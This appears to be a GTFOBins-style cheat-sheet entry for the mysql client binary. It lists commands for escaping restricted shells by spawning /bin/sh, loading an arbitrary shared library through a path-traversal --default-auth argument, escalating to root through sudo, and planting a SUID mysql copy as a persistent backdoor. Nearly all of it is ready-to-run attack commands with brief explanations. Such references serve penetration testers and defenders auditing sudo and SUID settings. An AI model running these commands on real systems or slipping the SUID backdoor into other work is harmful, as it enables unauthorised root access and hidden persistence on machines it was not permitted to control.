A valid MySQL server must be available.
It can be used to break out from restricted environments by spawning an interactive system shell.
mysql -e '\! /bin/sh'
It loads shared libraries that may be used to run code in the binary execution context.
A MySQL server must accept connections in order for this to work.
The following loads the
/path/to/lib.so shared object.
mysql --default-auth ../../../../../path/to/lib
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
sudo mysql -e '\! /bin/sh'
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
sudo sh -c 'cp $(which mysql) .; chmod +s ./mysql' ./mysql -e '\! /bin/sh'